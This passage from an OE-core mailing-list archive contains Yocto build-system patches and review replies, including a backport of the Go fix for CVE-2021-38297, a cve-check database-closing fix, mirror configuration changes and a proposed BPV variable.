> ++ if (offset >= wasmMinDataAddr) {
> ++
[oe-core][dunfell][PATCH] go: backport patch fix for CVE-2021-38297
Patch taken from
https://github.com/golang/go/commit/4548fcc8dfd933c237f29bba6f90040a85922564
from the following issue
https://github.com/golang/go/issues/48797
Original repo
https://go.googlesource.com/go/+/77f2750f4398990eed972186706f160631d7dae4
Signed-off-by: Davide Gardenal
---
meta/recipes-devtools/go/go-1.14.inc | 1 +
.../go/go-1.14/CVE-2021-38297.patch | 94 +++
2 files changed, 95 insertions(+)
create mode 100644 meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
diff --git a/meta/recipes-devtools/go/go-1.14.inc
b/meta/recipes-devtools/go/go-1.14.inc
index abc6f42184..947f1798ee 100644
--- a/meta/recipes-devtools/go/go-1.14.inc
+++ b/meta/recipes-devtools/go/go-1.14.inc
@@ -19,6 +19,7 @@ SRC_URI += "\
file://CVE-2021-34558.patch \
file://CVE-2021-33196.patch \
file://CVE-2021-33197.patch \
+file://CVE-2021-38297.patch \
"
SRC_URI_append_libc-musl = "
file://0009-ld-replace-glibc-dynamic-linker-with-musl.patch"
SRC_URI[main.sha256sum] =
"7ed13b2209e54a451835997f78035530b331c5b6943cdcd68a3d815fdc009149"
diff --git a/meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
b/meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
new file mode 100644
index 00..0b5d0b591e
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
@@ -0,0 +1,94 @@
+From 4548fcc8dfd933c237f29bba6f90040a85922564 Mon Sep 17 00:00:00 2001
+From: Michael Knyszek
+Date: Thu, 2 Sep 2021 16:51:59 -0400
+Subject: [PATCH] [release-branch.go1.16] misc/wasm, cmd/link: do not let
+ command line args overwrite global data
+
+On Wasm, wasm_exec.js puts command line arguments at the beginning
+of the linear memory (following the "zero page"). Currently there
+is no limit for this, and a very long command line can overwrite
+the program's data section. Prevent this by limiting the command
+line to 4096 bytes, and in the linker ensuring the data section
+starts at a high enough address (8192).
+
+(Arguably our address assignment on Wasm is a bit confusing. This
+is the minimum fix I can come up with.)
+
+Thanks to Ben Lubar for reporting this issue.
+
+Change by Cherry Mui .
+
+For #48797
+Fixes #48799
+Fixes CVE-2021-38297
+
+Change-Id: I0f50fbb2a5b6d0d047e3c134a88988d9133e4ab3
+Reviewed-on:
https://team-review.git.corp.google.com/c/golang/go-private/+/1205933
+Reviewed-by: Roland Shoemaker
+Reviewed-by: Than McIntosh
+Reviewed-on: https://go-review.googlesource.com/c/go/+/354591
+Trust: Michael Knyszek
+Reviewed-by: Heschi Kreinick
+
+CVE: CVE-2021-38297
+
+Upstream-Status: Backport:
+https://github.com/golang/go/commit/4548fcc8dfd933c237f29bba6f90040a85922564
+
+Signed-off-by: Davide Gardenal
+---
+ misc/wasm/wasm_exec.js | 7 +++
+ src/cmd/link/internal/ld/data.go | 11 ++-
+ 2 files changed, 17 insertions(+), 1 deletion(-)
+
+diff --git a/misc/wasm/wasm_exec.js b/misc/wasm/wasm_exec.js
+index 82041e6bb901..a0a264278b1b 100644
+--- a/misc/wasm/wasm_exec.js
b/misc/wasm/wasm_exec.js
+@@ -564,6 +564,13 @@
+ offset += 8;
+ });
+
++ // The linker guarantees global data starts from at
least wasmMinDataAddr.
++ // Keep in sync with
cmd/link/internal/ld/data.go:wasmMinDataAddr.
++ const wasmMinDataAddr = 4096 + 4096;
++ if (offset >= wasmMinDataAddr) {
++ throw new Error("command line too long");
++ }
++
+ this._inst.exports.run(argc, argv);
+ if (this.exited) {
+ this._resolveExitPromise();
+diff --git a/src/cmd/link/internal/ld/data.go
b/src/cmd/link/internal/ld/data.go
+index 52035e96301c..54a1d188cdb9 100644
+--- a/src/cmd/link/internal/ld/data.go
b/src/cmd/link/internal/ld/data.go
+@@ -2330,6 +2330,11 @@ func assignAddress(ctxt *Link, sect *sym.Section, n
int, s loader.Sym, va uint64
+ return sect, n, va
+ }
+
++// On Wasm, we reserve 4096 bytes for zero page, then 4096 bytes for
wasm_exec.js
++// to store command line args. Data sections starts from at least address
8192.
++// Keep in sync with wasm_exec.js.
++const wasmMinDataAddr = 4096 + 4096
++
+ // address assigns virtual addresses to all segments and sections and
+ // returns all segments in file order.
+ func (ctxt *Link) address() []*sym.Segment {
+@@ -2339,10 +2344,14 @@ func (ctxt *Link) address() []*sym.Segment {
+ order = append(order, &Segtext)
+ Segtext.Rwx = 05
+ Segtext.Vaddr = va
+- for _, s := range Segtext.Sections {
++ for i, s := range Segtext.Sections {
+ va = uint64(Rnd(int64(va), int64(s.Align)))
+ s.Vaddr = va
+ va += s.Length
++
++ if ctxt.IsWasm() && i == 0 && va < wasmMinDataAddr {
++ va = wasmMinDataAddr
++ }
+ }
+
+ Segtext.Length =
[OE-core] [RFC PATCH] cve-check: ensure database is closed on error
In case of an error during download or parse of NVD JSON files, the
previously opened sqlite3 database should be closed. Also any pending
transactions should be flushed using conn.commit(). Otherwise there can
be a "hot journal" left behind, which can cause a subsequent read-only
connection to fail.
So instead of doing "return" to bail out early, instead "break" out of
the loop. The existing conn.commit() and conn.close() will be called.
Signed-off-by: Ralph Siemsen
---
I'm not entirely confident in this, would appreciate a review by folks
more knowledgeable with python and its sqlite3 binding.
Some further backround information:
- occasionally the cve-check process fails with a traceback error of
"attempt to write a readonly database" (see BZ #14110)
- the following commit was added to mitigate:
440f07d211 cve-check: get_cve_info should open the database read-only
- but evidently the original error still occurs sometimes
Current speculation is as follows:
- the database update fails for unrelated reason (network issue)
- this leaves the connection open, potentially with some updates
queued (NVD data is fetched with a separate request for each year)
- if a subsequent read-only client tries to access the database, it
can fail because there is a "hot journal" from the pending
not-yet-committed changes, which cannot be processed since the
connection is read-only [1]
[1]
https://stackoverflow.com/questions/30082008/attempt-to-write-a-readonly-database-but-im-not
Therefore we should ensure to commit() and close() the database
connection during NVD update, even when there are errors.
meta/recipes-core/meta/cve-update-db-native.bb | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/meta/recipes-core/meta/cve-update-db-native.bb
b/meta/recipes-core/meta/cve-update-db-native.bb
index e5822cee58..19863c059d 100644
--- a/meta/recipes-core/meta/cve-update-db-native.bb
+++ b/meta/recipes-core/meta/cve-update-db-native.bb
@@ -75,7 +75,7 @@ python do_fetch() {
except urllib.error.URLError as e:
cve_f.write('Warning: CVE db update error, Unable to fetch CVE
data.\n\n')
bb.warn("Failed to fetch CVE data (%s)" % e.reason)
-return
+break
if response:
for l in response.read().decode("utf-8").splitlines():
@@ -85,7 +85,7 @@ python do_fetch() {
break
else:
bb.warn("Cannot parse CVE metadata, update failed")
-return
+break
# Compare with current db last modified date
c.execute("select DATE from META where YEAR = ?", (year,))
@@ -104,7 +104,7 @@ python do_fetch() {
except urllib.error.URLError as e:
cve_f.write('Warning: CVE db update error, CVE data is
outdated.\n\n')
bb.warn("Cannot parse CVE data (%s), update failed" %
e.reason)
-return
+break
else:
bb.debug(2, "Already up to date (last modified %s)" %
last_modified)
# Update success, set the date to cve_check file.
--
2.25.1
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163786):
https://lists.openembedded.org/g/openembedded-core/message/163786
Mute This Topic: https://lists.openembedded.org/mt/90133195/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
[OE-core] [PATCH RFC] mirrors: Switch glibc and binutils to use shallow mirror tarballs
These two repositories are large and overload our downloads server as a
premirror but the recipes are easier to maintain as git urls. Compromise
and use shallow clones for them.
In order to be effective, we need premirror entries on where to find
the shallow mirror tarballs.
Signed-off-by: Richard Purdie
---
meta/classes/mirrors.bbclass | 11 +++
1 file changed, 11 insertions(+)
diff --git a/meta/classes/mirrors.bbclass b/meta/classes/mirrors.bbclass
index 37dc449ade7..ffdccff5fb4 100644
--- a/meta/classes/mirrors.bbclass
+++ b/meta/classes/mirrors.bbclass
@@ -76,3 +76,14 @@ git://git.gnome.org/.*
git://gitlab.gnome.org/GNOME/PATH;protocol=https \
git://.*/.* git://HOST/PATH;protocol=https \
git://.*/.* git://HOST/git/PATH;protocol=https \
"
+
+# Switch glibc and binutils recipes to use shallow clones as they're large and
this
+# improves user experience whilst allowing the flexibility of git urls in the
recipes
+BB_GIT_SHALLOW:pn-binutils = "1"
+BB_GIT_SHALLOW:pn-binutils-cross-${TARGET_ARCH} = "1"
+BB_GIT_SHALLOW:pn-binutils-cross-canadian-${TRANSLATED_TARGET_ARCH} = "1"
+BB_GIT_SHALLOW:pn-binutils-cross-testsuite = "1"
+BB_GIT_SHALLOW:pn-binutils-crosssdk-${SDK_SYS} = "1"
+BB_GIT_SHALLOW:pn-glibc = "1"
+PREMIRRORS += "git://sourceware.org/git/glibc.git
https://downloads.yoctoproject.org/mirror/sources/ \
+ git://sourceware.org/git/binutils-gdb.git
https://downloads.yoctoproject.org/mirror/sources/";
--
2.32.0
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163785):
https://lists.openembedded.org/g/openembedded-core/message/163785
Mute This Topic: https://lists.openembedded.org/mt/90129861/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
Re: [OE-core] [RFC PATCH] bitbake.conf: Add base package version (BPV) variable
On Wed, 2022-03-30 at 10:16 +0200, Stefan Herbrechtsmeier wrote:
> From: Stefan Herbrechtsmeier
>
> Add a base package version (BPV) variable and use it as default for the
> package version (PV) variable. The BPV variable contains the base
> package version of the recipe read from the recipe filename.
>
> The base package version variable supports an expansion of the version
> from the recipe filename without the need of an immediate variable
> expansion:
> PV = "${BPV}+git${SRCPV}"
>
> It allows the inclusion of include files inside a recipe file with the
> same version in the recipe and include filename even if the package
> version is different to the base package version in the filename:
> require linux-yocto-${BPV}.inc
>
> Signed-off-by: Stefan Herbrechtsmeier
>
> ---
>
> meta/conf/bitbake.conf | 3 ++-
> 1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
> index 7705415a4f..d56cf811ba 100644
> --- a/meta/conf/bitbake.conf
> +++ b/meta/conf/bitbake.conf
> @@ -232,7 +232,8 @@ ASSUME_PROVIDED = "\
> ##
>
> PN = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[0] or
> 'defaultpkgname'}"
> -PV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
> +BPV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
> +PV = "${BPV}"
> PR = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[2] or 'r0'}"
> PE = ""
> PF = "${PN}-${EXTENDPE}${PV}-${PR}"
I'm not really seeing a compelling use case for what is a fairly core change,
you've not really said why we need changes and what the big win is for users.
I'm also quite worried that this behaves quite differently to BPN. "base" in the
case of PN means strip off prefixes and suffixes yet here, BPV doesn't actually
strip anything off PV, you're just expected to set it differently yourself as
the user. The different usage semantics will likely confuse people and that
confusion isn't worth it IMO.
Cheers,
Richard
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163784):
https://lists.openembedded.org/g/openembedded-core/message/163784
Mute This Topic: https://lists.openembedded.org/mt/90127138/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
Re: [OE-core] [RFC PATCH] bitbake.conf: Add base package version (BPV) variable
The intention is that changing bitbake.conf is heavy handed, and the
use case is not well presented. Why and where this is needed?
Alex
On Wed, 30 Mar 2022 at 13:42, Stefan Herbrechtsmeier
wrote:
>
> Hi Alex,
>
> Am 30.03.2022 um 10:41 schrieb Alexander Kanavin:
> > Mangling PV is more flexibly done with a lambda function in the
> > recipe, where you can trim and tweak PV to your heart's desire, e.g.
> > gnomebase.bbclass:
> >
> > def gnome_verdir(v):
> > return ".".join(v.split(".")[:-1])
> >
> > SRC_URI =
> > "${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive"
>
> What is the intention of your comment? Do you recommend a function per
> recipe and thereby code duplication?
>
> Or is your objection that the base package version isn't always the file
> name version and the variable name is wrong?
>
> The advantage of the BPV is that you can change the PV outside of the
> recipe file:
>
> PV:pn- = "${BPV}+git${SRCPV}"
>
> The `PV .= "+git${SRCPV}"` assume that the PV is the base package
> version but couldn't ensure it.
>
> Regards
>Stefan
>
> > On Wed, 30 Mar 2022 at 10:16, Stefan Herbrechtsmeier
> > wrote:
> >>
> >> From: Stefan Herbrechtsmeier
> >>
> >> Add a base package version (BPV) variable and use it as default for the
> >> package version (PV) variable. The BPV variable contains the base
> >> package version of the recipe read from the recipe filename.
> >>
> >> The base package version variable supports an expansion of the version
> >> from the recipe filename without the need of an immediate variable
> >> expansion:
> >> PV = "${BPV}+git${SRCPV}"
> >>
> >> It allows the inclusion of include files inside a recipe file with the
> >> same version in the recipe and include filename even if the package
> >> version is different to the base package version in the filename:
> >> require linux-yocto-${BPV}.inc
> >>
> >> Signed-off-by: Stefan Herbrechtsmeier
> >>
> >>
> >> ---
> >>
> >> meta/conf/bitbake.conf | 3 ++-
> >> 1 file changed, 2 insertions(+), 1 deletion(-)
> >>
> >> diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
> >> index 7705415a4f..d56cf811ba 100644
> >> --- a/meta/conf/bitbake.conf
> >> +++ b/meta/conf/bitbake.conf
> >> @@ -232,7 +232,8 @@ ASSUME_PROVIDED = "\
> >> ##
> >>
> >> PN = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[0] or
> >> 'defaultpkgname'}"
> >> -PV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
> >> +BPV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
> >> +PV = "${BPV}"
> >> PR = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[2] or 'r0'}"
> >> PE = ""
> >> PF = "${PN}-${EXTENDPE}${PV}-${PR}"
> >> --
> >> 2.30.2
> >>
> >>
> >>
> >>
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163783):
https://lists.openembedded.org/g/openembedded-core/message/163783
Mute This Topic: https://lists.openembedded.org/mt/90127138/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
Re: [OE-core] [RFC PATCH] bitbake.conf: Add base package version (BPV) variable
Hi Alex,
Am 30.03.2022 um 10:41 schrieb Alexander Kanavin:
Mangling PV is more flexibly done with a lambda function in the
recipe, where you can trim and tweak PV to your heart's desire, e.g.
gnomebase.bbclass:
def gnome_verdir(v):
return ".".join(v.split(".")[:-1])
SRC_URI =
"${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive"
What is the intention of your comment? Do you recommend a function per
recipe and thereby code duplication?
Or is your objection that the base package version isn't always the file
name version and the variable name is wrong?
The advantage of the BPV is that you can change the PV outside of the
recipe file:
PV:pn- = "${BPV}+git${SRCPV}"
The `PV .= "+git${SRCPV}"` assume that the PV is the base package
version but couldn't ensure it.
Regards
Stefan
On Wed, 30 Mar 2022 at 10:16, Stefan Herbrechtsmeier
wrote:
From: Stefan Herbrechtsmeier
Add a base package version (BPV) variable and use it as default for the
package version (PV) variable. The BPV variable contains the base
package version of the recipe read from the recipe filename.
The base package version variable supports an expansion of the version
from the recipe filename without the need of an immediate variable
expansion:
PV = "${BPV}+git${SRCPV}"
It allows the inclusion of include files inside a recipe file with the
same version in the recipe and include filename even if the package
version is different to the base package version in the filename:
require linux-yocto-${BPV}.inc
Signed-off-by: Stefan Herbrechtsmeier
---
meta/conf/bitbake.conf | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
index 7705415a4f..d56cf811ba 100644
--- a/meta/conf/bitbake.conf
+++ b/meta/conf/bitbake.conf
@@ -232,7 +232,8 @@ ASSUME_PROVIDED = "\
##
PN = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[0] or
'defaultpkgname'}"
-PV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
+BPV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
+PV = "${BPV}"
PR = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[2] or 'r0'}"
PE = ""
PF = "${PN}-${EXTENDPE}${PV}-${PR}"
--
2.30.2
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163782):
https://lists.openembedded.org/g/openembedded-core/message/163782
Mute This Topic: https://lists.openembedded.org/mt/90127138/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
[OE-core] [PATCH] git: make expat and curl into PACKAGECONFIG items
It can be useful to use git on target (e.g. with some wrapper like
etckeeper for keeping track of changes to /etc), and for such cases,
it is likely one has no need for pulling from/pushing to http[s]
repositories. From the INSTALL file:
- "libcurl" library ... If you do not use http:// or https://
repositories, and do not want to put patches into an IMAP
mailbox, you do not have to have them (use NO_CURL).
- "expat" library; git-http-push uses it for remote lock
management over DAV. Similar to "curl" above, this is
optional (with NO_EXPAT).
Setting --without-expat and --without-curl reduces the size of the
installed "git" package from 18M to 12M, in addition to avoiding
pulling those libraries into the rootfs.
Signed-off-by: Rasmus Villemoes
---
meta/recipes-devtools/git/git_2.35.1.bb | 6 --
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/meta/recipes-devtools/git/git_2.35.1.bb
b/meta/recipes-devtools/git/git_2.35.1.bb
index 0cff3ce1001..47c22118640 100644
--- a/meta/recipes-devtools/git/git_2.35.1.bb
+++ b/meta/recipes-devtools/git/git_2.35.1.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "http://git-scm.com";
DESCRIPTION = "Git is a free and open source distributed version control
system designed to handle everything from small to very large projects with
speed and efficiency."
SECTION = "console/utils"
LICENSE = "GPL-2.0-only"
-DEPENDS = "openssl curl zlib expat"
+DEPENDS = "openssl zlib"
PROVIDES:append:class-native = " git-replacement-native"
@@ -18,10 +18,12 @@ LIC_FILES_CHKSUM =
"file://COPYING;md5=7c0d7ef03a7eb04ce795b0f60e68e7e1"
CVE_PRODUCT = "git-scm:git"
-PACKAGECONFIG ??= ""
+PACKAGECONFIG ??= "expat curl"
PACKAGECONFIG[cvsserver] = ""
PACKAGECONFIG[svn] = ""
PACKAGECONFIG[manpages] = ",,asciidoc-native xmlto-native"
+PACKAGECONFIG[curl] = "--with-curl,--without-curl,curl"
+PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat"
EXTRA_OECONF = "--with-perl=${STAGING_BINDIR_NATIVE}/perl-native/perl \
--without-tcltk \
--
2.31.1
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163781):
https://lists.openembedded.org/g/openembedded-core/message/163781
Mute This Topic: https://lists.openembedded.org/mt/90128519/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
[OE-core] [PATCH] mirrors: Add missing gitsm entries for yocto/oe mirrors
The missing gitsm:// mappings looks like an oversight, add them. Signed-off-by: Richard Purdie --- meta/classes/mirrors.bbclass | 2 ++ 1 file changed, 2 insertions(+) diff --git a/meta/classes/mirrors.bbclass b/meta/classes/mirrors.bbclass index 8e7b35d9000..37dc449ade7 100644 --- a/meta/classes/mirrors.bbclass +++ b/meta/classes/mirrors.bbclass @@ -42,6 +42,7 @@ ftp://sourceware.org/pub http://ftp.gwdg.de/pub/linux/sources.redhat.com/sourcew cvs://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \ svn://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \ git://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \ +gitsm://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \ hg://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \ bzr://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \ p4://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \ @@ -52,6 +53,7 @@ npm://.*/?.* http://downloads.yoctoproject.org/mirror/sources/ \ cvs://.*/.* http://sources.openembedded.org/ \ svn://.*/.* http://sources.openembedded.org/ \ git://.*/.* http://sources.openembedded.org/ \ +gitsm://.*/.* http://sources.openembedded.org/ \ hg://.*/.* http://sources.openembedded.org/ \ bzr://.*/.* http://sources.openembedded.org/ \ p4://.*/.* http://sources.openembedded.org/ \ -- 2.32.0 -=-=-=-=-=-=-=-=-=-=-=- Links: You receive all messages sent to this group. View/Reply Online (#163780): https://lists.openembedded.org/g/openembedded-core/message/163780 Mute This Topic: https://lists.openembedded.org/mt/90127741/21656 Group Owner: openembedded-core+ow...@lists.openembedded.org Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub [arch...@mail-archive.com] -=-=-=-=-=-=-=-=-=-=-=-
[OE-core] [RFC PATCH 1/1] kernel: add kernel-image-fitimage-initramfs
When creating an initramfs bundled into a kernel fitimage, the resulting
fitimage will only be placed into the deploy directory and not packaged
by the kernel recipe/class.
Changing the kernel recipe/class to produce a package with the fitimage
containing the initramfs is not possible, because build dependencies
require the kernel packages to be already build before the initramfs can
be created.
The kernel-image-fitimage-initramfs recipe solves this dependency cycle
by packaging the fitimage with the embedded initramfs from the deploy
directory and replaces the `kernel-image` and `kernel-image-fitimage`
packages from the kernel recipe/class.
Signed-off-by: Claudius Heine
---
.../kernel-image-fitimage-initramfs_0.1.0.bb | 50 +++
1 file changed, 50 insertions(+)
create mode 100644
meta/recipes-kernel/kernel-image-fitimage-initramfs/kernel-image-fitimage-initramfs_0.1.0.bb
diff --git
a/meta/recipes-kernel/kernel-image-fitimage-initramfs/kernel-image-fitimage-initramfs_0.1.0.bb
b/meta/recipes-kernel/kernel-image-fitimage-initramfs/kernel-image-fitimage-initramfs_0.1.0.bb
new file mode 100644
index 00..c25168301b
--- /dev/null
+++
b/meta/recipes-kernel/kernel-image-fitimage-initramfs/kernel-image-fitimage-initramfs_0.1.0.bb
@@ -0,0 +1,50 @@
+# Copyright (C) 2022 Claudius Heine
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "Packages the fitimage with embedded initramfs"
+LICENSE = "GPL-2.0-only"
+DEPENDS = "virtual/kernel"
+
+SRC_URI = ""
+
+inherit kernel-artifact-names
+INITRAMFS_IMAGE_NAME ?= "${@['${INITRAMFS_IMAGE}-${MACHINE}',
''][d.getVar('INITRAMFS_IMAGE') == '']}"
+KERNEL_PACKAGE_NAME ?= "kernel"
+
+PN = "${KERNEL_PACKAGE_NAME}-image-fitimage-initramfs"
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+do_install[deptask] = "do_deploy"
+do_install() {
+fitimage="$(readlink
"${DEPLOY_DIR_IMAGE}/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}")"
+install -d ${D}/boot
+install -m 0644 \
+${DEPLOY_DIR_IMAGE}/${fitimage} \
+${D}/boot/
+ln -snf \
+${fitimage} \
+${D}/boot/fitImage
+}
+
+PACKAGES += "${KERNEL_PACKAGE_NAME}-image-initramfs"
+
+FILES:${PN} = "/boot/fitImage /boot/fitImage-*"
+RPROVIDES:${PN} = "${KERNEL_PACKAGE_NAME}-image-fitimage"
+RCONFLICTS:${PN} = "${KERNEL_PACKAGE_NAME}-image-fitimage"
+RREPLACES:${PN} = "${KERNEL_PACKAGE_NAME}-image-fitimage"
+
+RDEPENDS:${KERNEL_PACKAGE_NAME}-image-initramfs =
"${KERNEL_PACKAGE_NAME}-image-fitimage-initramfs (= ${EXTENDPGKV})"
+RPROVIDES:${KERNEL_PACKAGE_NAME}-image-initramfs =
"${KERNEL_PACKAGE_NAME}-image"
+RCONFLICTS:${KERNEL_PACKAGE_NAME}-image-initramfs =
"${KERNEL_PACKAGE_NAME}-image"
+RREPLACES:${KERNEL_PACKAGE_NAME}-image-initramfs =
"${KERNEL_PACKAGE_NAME}-image"
+ALLOW_EMPTY:${KERNEL_PACKAGE_NAME}-image-initramfs = "1"
+
+python() {
+if (not 'fitImage' in d.getVar('KERNEL_IMAGETYPES') or
+bb.utils.to_boolean(d.getVar('INITRAMFS_IMAGE_BUNDLE'))):
+raise bb.parse.SkipRecipe('Requires generation of fitImage and bundled
initramfs.')
+if not d.getVar('KERNEL_FIT_LINK_NAME'):
+raise bb.parse.SkipRecipe('Requires generation of fitImage symlink in
deploy dir.')
+}
--
2.33.1
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163778):
https://lists.openembedded.org/g/openembedded-core/message/163778
Mute This Topic: https://lists.openembedded.org/mt/90127688/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
[OE-core] [RFC PATCH 0/1] Packaging a fitimage with initramfs
Hi, I am currently investigating how to package a fitimage with embedded initramfs and came up with the following recipe. The recipe will have issues because its version is not linked to the kernel version, so updating via package repos will not work. But that would not be important for my use-case. Is there some other way to solve this or any ideas how to get around its limitations? My goal is to have the fitImage embedded into the rootfs partition reachable via /boot/fitImage. thanks and regards, Claudius Claudius Heine (1): kernel: add kernel-image-fitimage-initramfs .../kernel-image-fitimage-initramfs_0.1.0.bb | 50 +++ 1 file changed, 50 insertions(+) create mode 100644 meta/recipes-kernel/kernel-image-fitimage-initramfs/kernel-image-fitimage-initramfs_0.1.0.bb -- 2.33.1 -=-=-=-=-=-=-=-=-=-=-=- Links: You receive all messages sent to this group. View/Reply Online (#163779): https://lists.openembedded.org/g/openembedded-core/message/163779 Mute This Topic: https://lists.openembedded.org/mt/90127689/21656 Group Owner: openembedded-core+ow...@lists.openembedded.org Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub [arch...@mail-archive.com] -=-=-=-=-=-=-=-=-=-=-=-
Re: [OE-core] [RFC PATCH] bitbake.conf: Add base package version (BPV) variable
Not lambda in this case, but nevermind :)
Alex
On Wed, 30 Mar 2022 at 10:41, Alexander Kanavin wrote:
>
> Mangling PV is more flexibly done with a lambda function in the
> recipe, where you can trim and tweak PV to your heart's desire, e.g.
> gnomebase.bbclass:
>
> def gnome_verdir(v):
> return ".".join(v.split(".")[:-1])
>
> SRC_URI =
> "${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive"
>
> Alex
>
> On Wed, 30 Mar 2022 at 10:16, Stefan Herbrechtsmeier
> wrote:
> >
> > From: Stefan Herbrechtsmeier
> >
> > Add a base package version (BPV) variable and use it as default for the
> > package version (PV) variable. The BPV variable contains the base
> > package version of the recipe read from the recipe filename.
> >
> > The base package version variable supports an expansion of the version
> > from the recipe filename without the need of an immediate variable
> > expansion:
> > PV = "${BPV}+git${SRCPV}"
> >
> > It allows the inclusion of include files inside a recipe file with the
> > same version in the recipe and include filename even if the package
> > version is different to the base package version in the filename:
> > require linux-yocto-${BPV}.inc
> >
> > Signed-off-by: Stefan Herbrechtsmeier
> >
> >
> > ---
> >
> > meta/conf/bitbake.conf | 3 ++-
> > 1 file changed, 2 insertions(+), 1 deletion(-)
> >
> > diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
> > index 7705415a4f..d56cf811ba 100644
> > --- a/meta/conf/bitbake.conf
> > +++ b/meta/conf/bitbake.conf
> > @@ -232,7 +232,8 @@ ASSUME_PROVIDED = "\
> > ##
> >
> > PN = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[0] or
> > 'defaultpkgname'}"
> > -PV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
> > +BPV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
> > +PV = "${BPV}"
> > PR = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[2] or 'r0'}"
> > PE = ""
> > PF = "${PN}-${EXTENDPE}${PV}-${PR}"
> > --
> > 2.30.2
> >
> >
> >
> >
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163777):
https://lists.openembedded.org/g/openembedded-core/message/163777
Mute This Topic: https://lists.openembedded.org/mt/90127138/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
Re: [OE-core] [RFC PATCH] bitbake.conf: Add base package version (BPV) variable
Mangling PV is more flexibly done with a lambda function in the
recipe, where you can trim and tweak PV to your heart's desire, e.g.
gnomebase.bbclass:
def gnome_verdir(v):
